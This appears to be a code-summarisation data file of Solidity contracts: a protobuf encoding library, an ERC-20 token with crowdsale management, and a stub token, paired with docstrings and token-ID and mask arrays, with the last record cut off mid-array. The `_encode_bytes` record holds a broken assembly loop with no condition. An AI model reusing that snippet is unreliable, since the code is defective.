function _encode_sol_bytes10(bytes10 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 10, p, bs);
}
function _encode_sol_bytes11(bytes11 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 11, p, bs);
}
function _encode_sol_bytes12(bytes12 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 12, p, bs);
}
function _encode_sol_bytes13(bytes13 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 13, p, bs);
}
function _encode_sol_bytes14(bytes14 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 14, p, bs);
}
function _encode_sol_bytes15(bytes15 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 15, p, bs);
}
function _encode_sol_bytes16(bytes16 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 16, p, bs);
}
function _encode_sol_bytes17(bytes17 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 17, p, bs);
}
function _encode_sol_bytes18(bytes18 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 18, p, bs);
}
function _encode_sol_bytes19(bytes19 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 19, p, bs);
}
function _encode_sol_bytes20(bytes20 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 20, p, bs);
}
function _encode_sol_bytes21(bytes21 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 21, p, bs);
}
function _encode_sol_bytes22(bytes22 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 22, p, bs);
}
function _encode_sol_bytes23(bytes23 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 23, p, bs);
}
function _encode_sol_bytes24(bytes24 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 24, p, bs);
}
function _encode_sol_bytes25(bytes25 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 25, p, bs);
}
function _encode_sol_bytes26(bytes26 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 26, p, bs);
}
function _encode_sol_bytes27(bytes27 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 27, p, bs);
}
function _encode_sol_bytes28(bytes28 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 28, p, bs);
}
function _encode_sol_bytes29(bytes29 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 29, p, bs);
}
function _encode_sol_bytes30(bytes30 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 30, p, bs);
}
function _encode_sol_bytes31(bytes31 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(bytes32(x), 31, p, bs);
}
function _encode_sol_bytes32(bytes32 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_sol_bytes(x, 32, p, bs);
}
/**
* @dev Encode the key of Solidity integer and/or fixed-size bytes array.
* @param sz The number of bytes used to encode Solidity types
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The number of bytes used to encode
*/
function _encode_sol_header(uint256 sz, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint256 offset = p;
p += _encode_varint(sz + 2, p, bs);
p += _encode_key(1, WireType.LengthDelim, p, bs);
p += _encode_varint(sz, p, bs);
return p - offset;
}
/**
* @dev Encode Solidity type
* @param x The unsinged integer to be encoded
* @param sz The number of bytes used to encode Solidity types
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The number of bytes used to encode
*/
function _encode_sol(uint256 x, uint256 sz, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint256 offset = p;
uint256 size;
p += 3;
size = _encode_sol_raw_other(x, p, bs, sz);
p += size;
_encode_sol_header(size, offset, bs);
return p - offset;
}
/**
* @dev Encode Solidity type
* @param x The signed integer to be encoded
* @param sz The number of bytes used to encode Solidity types
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The number of bytes used to encode
*/
function _encode_sol(int256 x, uint256 sz, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint256 offset = p;
uint256 size;
p += 3;
size = _encode_sol_raw_other(x, p, bs, sz);
p += size;
_encode_sol_header(size, offset, bs);
return p - offset;
}
/**
* @dev Encode Solidity type
* @param x The fixed-size byte array to be encoded
* @param sz The number of bytes used to encode Solidity types
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The number of bytes used to encode
*/
function _encode_sol_bytes(bytes32 x, uint256 sz, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint256 offset = p;
uint256 size;
p += 3;
size = _encode_sol_raw_bytes_array(x, p, bs, sz);
p += size;
_encode_sol_header(size, offset, bs);
return p - offset;
}
/**
* @dev Get the actual size needed to encoding an unsigned integer
* @param x The unsigned integer to be encoded
* @param sz The maximum number of bytes used to encode Solidity types
* @return The number of bytes needed for encoding `x`
*/
function _get_real_size(uint256 x, uint256 sz)
internal
pure
returns (uint256)
{
uint256 base = 0xff;
uint256 realSize = sz;
while (
x & (base << (realSize * BYTE_SIZE - BYTE_SIZE)) == 0 && realSize > 0
) {
realSize -= 1;
}
if (realSize == 0) {
realSize = 1;
}
return realSize;
}
/**
* @dev Get the actual size needed to encoding an signed integer
* @param x The signed integer to be encoded
* @param sz The maximum number of bytes used to encode Solidity types
* @return The number of bytes needed for encoding `x`
*/
function _get_real_size(int256 x, uint256 sz)
internal
pure
returns (uint256)
{
int256 base = 0xff;
if (x >= 0) {
uint256 tmp = _get_real_size(uint256(x), sz);
int256 remainder = (x & (base << (tmp * BYTE_SIZE - BYTE_SIZE))) >>
(tmp * BYTE_SIZE - BYTE_SIZE);
if (remainder >= 128) {
tmp += 1;
}
return tmp;
}
uint256 realSize = sz;
while (
x & (base << (realSize * BYTE_SIZE - BYTE_SIZE)) ==
(base << (realSize * BYTE_SIZE - BYTE_SIZE)) &&
realSize > 0
) {
realSize -= 1;
}
{
int256 remainder = (x & (base << (realSize * BYTE_SIZE - BYTE_SIZE))) >>
(realSize * BYTE_SIZE - BYTE_SIZE);
if (remainder < 128) {
realSize += 1;
}
}
return realSize;
}
/**
* @dev Encode the fixed-bytes array
* @param x The fixed-size byte array to be encoded
* @param sz The maximum number of bytes used to encode Solidity types
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The number of bytes needed for encoding `x`
*/
function _encode_sol_raw_bytes_array(
bytes32 x,
uint256 p,
bytes memory bs,
uint256 sz
) internal pure returns (uint256) {
/**
* The idea is to not encode the leading bytes of zero.
*/
uint256 actualSize = sz;
for (uint256 i = 0; i < sz; i++) {
uint8 current = uint8(x[sz - 1 - i]);
if (current == 0 && actualSize > 1) {
actualSize--;
} else {
break;
}
}
assembly {
let bsptr := add(bs, p)
let count := actualSize
for {
} gt(count, 0) {
} {
mstore8(bsptr, byte(sub(actualSize, count), x))
bsptr := add(bsptr, 1)
count := sub(count, 1)
}
}
return actualSize;
}
/**
* @dev Encode the signed integer
* @param x The signed integer to be encoded
* @param sz The maximum number of bytes used to encode Solidity types
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The number of bytes needed for encoding `x`
*/
function _encode_sol_raw_other(
int256 x,
uint256 p,
bytes memory bs,
uint256 sz
) internal pure returns (uint256) {
/**
* The idea is to not encode the leading bytes of zero.or one,
* depending on whether it is positive.
*/
uint256 realSize = _get_real_size(x, sz);
assembly {
let bsptr := add(bs, p)
let count := realSize
for {
} gt(count, 0) {
} {
mstore8(bsptr, byte(sub(32, count), x))
bsptr := add(bsptr, 1)
count := sub(count, 1)
}
}
return realSize;
}
/**
* @dev Encode the unsigned integer
* @param x The unsigned integer to be encoded
* @param sz The maximum number of bytes used to encode Solidity types
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The number of bytes needed for encoding `x`
*/
function _encode_sol_raw_other(
uint256 x,
uint256 p,
bytes memory bs,
uint256 sz
) internal pure returns (uint256) {
uint256 realSize = _get_real_size(x, sz);
assembly {
let bsptr := add(bs, p)
let count := realSize
for {
} gt(count, 0) {
} {
mstore8(bsptr, byte(sub(32, count), x))
bsptr := add(bsptr, 1)
count := sub(count, 1)
}
}
return realSize;
}
}
| * @dev Encode ProtoBuf bytes @param xs The bytes array to be encoded @param p The offset of bytes array `bs` @param bs The bytes array to encode @return The length of encoded bytes/ | function _encode_bytes(bytes memory xs, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint256 xsLength = xs.length;
uint256 sz = _encode_varint(xsLength, p, bs);
uint256 count = 0;
assembly {
let bsptr := add(bs, add(p, sz))
let xsptr := add(xs, 32)
for {
mstore8(bsptr, byte(0, mload(xsptr)))
bsptr := add(bsptr, 1)
xsptr := add(xsptr, 1)
count := add(count, 1)
}
}
return sz + count;
}
| 6,351,996 | [
1,
5509,
7440,
5503,
1731,
225,
9280,
1021,
1731,
526,
358,
506,
3749,
225,
293,
1021,
1384,
434,
1731,
526,
1375,
2038,
68,
225,
7081,
1021,
1731,
526,
358,
2017,
327,
1021,
769,
434,
3749,
1731,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
389,
3015,
67,
3890,
12,
3890,
3778,
9280,
16,
2254,
5034,
293,
16,
1731,
3778,
7081,
13,
203,
565,
2713,
203,
565,
16618,
203,
565,
1135,
261,
11890,
5034,
13,
203,
225,
288,
203,
565,
2254,
5034,
9280,
1782,
273,
9280,
18,
2469,
31,
203,
565,
2254,
5034,
11262,
273,
389,
3015,
67,
30765,
12,
13713,
1782,
16,
293,
16,
7081,
1769,
203,
565,
2254,
5034,
1056,
273,
374,
31,
203,
565,
19931,
288,
203,
1377,
2231,
324,
1752,
313,
519,
527,
12,
2038,
16,
527,
12,
84,
16,
11262,
3719,
203,
1377,
2231,
619,
1752,
313,
519,
527,
12,
13713,
16,
3847,
13,
203,
1377,
364,
288,
203,
203,
203,
3639,
312,
2233,
28,
12,
70,
1752,
313,
16,
1160,
12,
20,
16,
312,
945,
12,
92,
1752,
313,
20349,
203,
3639,
324,
1752,
313,
519,
527,
12,
70,
1752,
313,
16,
404,
13,
203,
3639,
619,
1752,
313,
519,
527,
12,
92,
1752,
313,
16,
404,
13,
203,
3639,
1056,
519,
527,
12,
1883,
16,
404,
13,
203,
1377,
289,
203,
565,
289,
203,
565,
327,
11262,
397,
1056,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/math/SafeMath.sol';
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
/**
* Token
*
* @title A fixed supply ERC-20 token contract with crowdsale capability.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract Token is Ownable {
using SafeMath for uint;
uint public constant MAX_UINT =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
struct Crowdsale {
bool open;
uint initialTokenSupply;
uint tokenBalance;
uint exchangeRate;
uint startTime;
uint endTime;
}
event CrowdsaleDeployed(
string crowdsaleName,
bool indexed open,
uint initialTokenSupply,
uint exchangeRate,
uint indexed startTime,
uint endTime
);
event TokenNameChanged(
string previousName,
string newName,
uint indexed time
);
event TokenSymbolChanged(
string previousSymbol,
string newSymbol,
uint indexed time
);
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
string public symbol;
string public name;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(string => Crowdsale) crowdsales;
/**
* Constructs the Token contract and gives all of the supply to the address
* that deployed it. The fixed supply is 1 billion tokens with up to 18
* decimal places.
*/
function Token() public {
symbol = 'TOK';
name = 'Token';
decimals = 18;
totalSupply = 1000000000 * 10**uint(decimals);
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev Fallback function
*/
function() public payable { revert(); }
/**
* Gets the token balance of any wallet.
* @param _owner Wallet address of the returned token balance.
* @return The balance of tokens in the wallet.
*/
function balanceOf(address _owner)
public
constant
returns (uint balance)
{
return balances[_owner];
}
/**
* Transfers tokens from the sender's wallet to the specified `_to` wallet.
* @param _to Address of the transfer's recipient.
* @param _value Number of tokens to transfer.
* @return True if the transfer succeeded.
*/
function transfer(address _to, uint _value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from any wallet to the `_to` wallet. This only works if
* the `_from` wallet has already allocated tokens for the caller keyset
* using `approve`. From wallet must have sufficient balance to
* transfer. Caller must have sufficient allowance to transfer.
* @param _from Wallet address that tokens are withdrawn from.
* @param _to Wallet address that tokens are deposited to.
* @param _value Number of tokens transacted.
* @return True if the transfer succeeded.
*/
function transferFrom(address _from, address _to, uint _value)
public
returns (bool success)
{
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* Sender allows another wallet to `transferFrom` tokens from their wallet.
* @param _spender Address of `transferFrom` recipient.
* @param _value Number of tokens to `transferFrom`.
* @return True if the approval succeeded.
*/
function approve(address _spender, uint _value)
public
returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* Gets the number of tokens that a `_owner` has approved for a _spender
* to `transferFrom`.
* @param _owner Wallet address that tokens can be withdrawn from.
* @param _spender Wallet address that tokens can be deposited to.
* @return The number of tokens allowed to be transferred.
*/
function allowance(address _owner, address _spender)
public
constant
returns (uint remaining)
{
return allowed[_owner][_spender];
}
/**
* Changes the token's name. Does not check for improper characters.
* @param newName String of the new name for the token.
*/
function changeTokenName(string newName) public onlyOwner {
require(bytes(newName).length > 0);
string memory oldName = name;
name = newName;
TokenNameChanged(oldName, newName, now);
}
/**
* Changes the token's symbol. Does not check for improper characters.
* @param newSymbol String of the new symbol for the token.
*/
function changeTokenSymbol(string newSymbol) public onlyOwner {
require(bytes(newSymbol).length > 0);
string memory oldSymbol = symbol;
symbol = newSymbol;
TokenSymbolChanged(oldSymbol, newSymbol, now);
}
/**
* Creates a crowdsale. Tokens are withdrawn from the owner's account and
* the balance is kept track of by the `tokenBalance` of the crowdsale.
* A crowdsale can be opened or closed at any time by the owner using
* the `openCrowdsale` and `closeCrowdsale` methods. The `open`,
* `startTime`, and `endTime` properties are checked when a purchase is
* attempted. Crowdsales permanently exist in the `crowdsales` map. If
* the `endTime` for a crowdsale in the map is `0` the ncrowdsale does
* not exist.
* @param crowdsaleName String name of the crowdsale. Used as the
* map key for a crowdsale struct instance in the `crowdsales` map.
* A name can be used once and only once to initialize a crowdsale.
* @param open Boolean of openness; can be changed at any time by the owner.
* @param initialTokenSupply Number of tokens the crowdsale is deployed
* with. This amount is a wei integer.
* @param exchangeRate Token wei to Ethereum wei ratio.
* @param startTime Unix epoch time in seconds for crowdsale start time.
* @param endTime Unix epoch time in seconds for crowdsale end time. Any
* uint256 can be used to set this however passing `0` will cause the
* value to be set to the maximum uint256. If `0` is not passed, the
* value must be greater than `startTime`.
*/
function createCrowdsale(
string crowdsaleName,
bool open,
uint initialTokenSupply,
uint exchangeRate,
uint startTime,
uint endTime
)
public
onlyOwner
{
require(
initialTokenSupply > 0 && initialTokenSupply <= balances[owner]
);
require(bytes(crowdsaleName).length > 0);
require(crowdsales[crowdsaleName].endTime == 0);
require(exchangeRate > 0);
if (endTime == 0) {
endTime = MAX_UINT;
}
require(endTime > startTime);
crowdsales[crowdsaleName] = Crowdsale({
open: open,
initialTokenSupply: initialTokenSupply,
tokenBalance: initialTokenSupply,
exchangeRate: exchangeRate,
startTime: startTime,
endTime: endTime
});
balances[owner] = balances[owner].sub(initialTokenSupply);
CrowdsaleDeployed(
crowdsaleName,
open,
initialTokenSupply,
exchangeRate,
startTime,
endTime
);
}
/**
* Owner can change the crowdsale's `open` property to true at any time.
* Only works on deployed crowdsales.
* @param crowdsaleName String for the name of the crowdsale. Used as the
* map key to find a crowdsale struct instance in the `crowdsales` map.
* @return True if the open succeeded.
*/
function openCrowdsale(string crowdsaleName)
public
onlyOwner
returns (bool success)
{
require(crowdsales[crowdsaleName].endTime > 0);
crowdsales[crowdsaleName].open = true;
return true;
}
/**
* Owner can change the crowdsale's `open` property to false at any time.
* Only works on deployed crowdsales.
* @param crowdsaleName String for the name of the crowdsale. Used as the
* map key to find a crowdsale struct instance in the `crowdsales` map.
* @return True if the close succeeded.
*/
function closeCrowdsale(string crowdsaleName)
public
onlyOwner
returns (bool success)
{
require(crowdsales[crowdsaleName].endTime > 0);
crowdsales[crowdsaleName].open = false;
return true;
}
/**
* Owner can add tokens to the crowdsale after it is deployed. Owner must
* have enough tokens in their balance for this method to succeed.
* @param crowdsaleName String for the name of the crowdsale. Used as the
* map key to find a crowdsale struct instance in the `crowdsales` map.
* @param tokens Number of tokens to transfer from the owner to the
* crowdsale's `tokenBalance` property.
* @return True if the add succeeded.
*/
function crowdsaleAddTokens(string crowdsaleName, uint tokens)
public
onlyOwner
returns (bool success)
{
require(crowdsales[crowdsaleName].endTime > 0);
require(balances[owner] >= tokens);
balances[owner] = balances[owner].sub(tokens);
crowdsales[crowdsaleName].tokenBalance =
crowdsales[crowdsaleName].tokenBalance.add(tokens);
Transfer(owner, address(this), tokens);
return true;
}
/**
* Owner can remove tokens from the crowdsale at any time. Crowdsale must
* have enough tokens in its balance for this method to succeed.
* @param crowdsaleName String for the name of the crowdsale. Used as the
* map key to find a crowdsale struct instance in the `crowdsales` map.
* @param tokens Number of tokens to transfer from the crowdsale
* `tokenBalance` to the owner.
* @return True if the remove succeeded.
*/
function crowdsaleRemoveTokens(string crowdsaleName, uint tokens)
public
onlyOwner
returns (bool success)
{
require(crowdsales[crowdsaleName].endTime > 0);
require(crowdsales[crowdsaleName].tokenBalance >= tokens);
balances[owner] = balances[owner].add(tokens);
crowdsales[crowdsaleName].tokenBalance =
crowdsales[crowdsaleName].tokenBalance.sub(tokens);
Transfer(address(this), owner, tokens);
return true;
}
/**
* Owner can change the crowdsale's `exchangeRate` after it is deployed.
* @param crowdsaleName String for the name of the crowdsale. Used as the
* map key to find a crowdsale struct instance in the `crowdsales` map.
* @param newExchangeRate Ratio of token wei to Ethereum wei for crowdsale
* purchases.
* @return True if the update succeeded.
*/
function crowdsaleUpdateExchangeRate(
string crowdsaleName,
uint newExchangeRate
)
public
onlyOwner
returns (bool success)
{
// Only works on crowdsales that exist
require(crowdsales[crowdsaleName].endTime > 0);
crowdsales[crowdsaleName].exchangeRate = newExchangeRate;
return true;
}
/**
* Any wallet can purchase tokens using ether if the crowdsale is open. Note
* that the math operations assume the operands are Ethereum wei and
* Token wei.
* @param crowdsaleName String for the name of the crowdsale. Used as the
* map key to find a crowdsale struct instance in the `crowdsales` map.
* @param beneficiary Address of the wallet that will receive the tokens from
* the purchase. This can be any wallet address.
* @return True if the purchase succeeded.
*/
function crowdsalePurchase(
string crowdsaleName,
address beneficiary
)
public
payable
returns (bool success)
{
require(crowdsaleIsOpen(crowdsaleName));
uint tokens = crowdsales[crowdsaleName].exchangeRate.mul(msg.value);
require(crowdsales[crowdsaleName].tokenBalance >= tokens);
crowdsales[crowdsaleName].tokenBalance =
crowdsales[crowdsaleName].tokenBalance.sub(tokens);
balances[beneficiary] = balances[beneficiary].add(tokens);
Transfer(address(this), beneficiary, tokens);
return true;
}
/**
* Gets all the details for a declared crowdsale. If the passed name is not
* associated with an existing crowdsale, the call errors.
* @param crowdsaleName String for the name of the crowdsale. Used as the
* map key to find a crowdsale struct instance in the `crowdsales` map.
* @return Each member of a declared crowdsale struct.
*/
function getCrowdsaleDetails(string crowdsaleName)
public
view
returns
(
string name_,
bool open,
uint initialTokenSupply,
uint tokenBalance,
uint exchangeRate,
uint startTime,
uint endTime
)
{
require(crowdsales[crowdsaleName].endTime > 0);
return (
crowdsaleName,
crowdsales[crowdsaleName].open,
crowdsales[crowdsaleName].initialTokenSupply,
crowdsales[crowdsaleName].tokenBalance,
crowdsales[crowdsaleName].exchangeRate,
crowdsales[crowdsaleName].startTime,
crowdsales[crowdsaleName].endTime
);
}
/**
* Gets the number of tokens the crowdsale has not yet sold.
* @param crowdsaleName String for the name of the crowdsale. Used as the
* map key to find a crowdsale struct instance in the `crowdsales` map.
* @return Total number of tokens the crowdsale has not yet sold.
*/
function crowdsaleTokenBalance(string crowdsaleName)
public
view
returns (uint)
{
require(crowdsales[crowdsaleName].endTime > 0);
return crowdsales[crowdsaleName].tokenBalance;
}
/**
* Check if the crowdsale is open.
* @param crowdsaleName String for the name of the crowdsale. Used as the
* map key to find a crowdsale struct instance in the `crowdsales` map.
* @return True if the crowdsale is open, false if it is closed.
*/
function crowdsaleIsOpen(string crowdsaleName) public view returns (bool) {
bool result = true;
if (
!crowdsales[crowdsaleName].open
|| crowdsales[crowdsaleName].startTime > now
|| crowdsales[crowdsaleName].endTime < now
) {
result = false;
}
return result;
}
}
| * Transfer tokens from any wallet to the `_to` wallet. This only works if the `_from` wallet has already allocated tokens for the caller keyset using `approve`. From wallet must have sufficient balance to transfer. Caller must have sufficient allowance to transfer. @param _from Wallet address that tokens are withdrawn from. @param _to Wallet address that tokens are deposited to. @param _value Number of tokens transacted. @return True if the transfer succeeded./ | function transferFrom(address _from, address _to, uint _value)
public
returns (bool success)
{
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
| 12,557,950 | [
1,
5912,
2430,
628,
1281,
9230,
358,
326,
1375,
67,
869,
68,
9230,
18,
1220,
1338,
6330,
309,
377,
326,
1375,
67,
2080,
68,
9230,
711,
1818,
11977,
2430,
364,
326,
4894,
498,
542,
377,
1450,
1375,
12908,
537,
8338,
6338,
9230,
1297,
1240,
18662,
11013,
358,
377,
7412,
18,
20646,
1297,
1240,
18662,
1699,
1359,
358,
7412,
18,
225,
389,
2080,
20126,
1758,
716,
2430,
854,
598,
9446,
82,
628,
18,
225,
389,
869,
20126,
1758,
716,
2430,
854,
443,
1724,
329,
358,
18,
225,
389,
1132,
3588,
434,
2430,
906,
25487,
18,
327,
1053,
309,
326,
7412,
15784,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
389,
1132,
13,
203,
3639,
1071,
203,
3639,
1135,
261,
6430,
2216,
13,
203,
565,
288,
203,
3639,
324,
26488,
63,
67,
2080,
65,
273,
324,
26488,
63,
67,
2080,
8009,
1717,
24899,
1132,
1769,
203,
3639,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
65,
273,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
8009,
1717,
24899,
1132,
1769,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
1769,
203,
3639,
12279,
24899,
2080,
16,
389,
869,
16,
389,
1132,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0x4D45e26eDe66D2b5d388F5269670262A2F1c4541/sources/YFIMToken.sol | * @title YFIGToken @dev Contract to create the YFIMToken/ | contract YFIMToken is YearnFinanceMoneyToken {
string public constant name = "Yearn Finance Green";
string public constant symbol = "YFIG";
uint32 public constant decimals = 18;
} | 8,669,183 | [
1,
61,
5236,
1345,
225,
13456,
358,
752,
326,
1624,
1653,
49,
1345,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
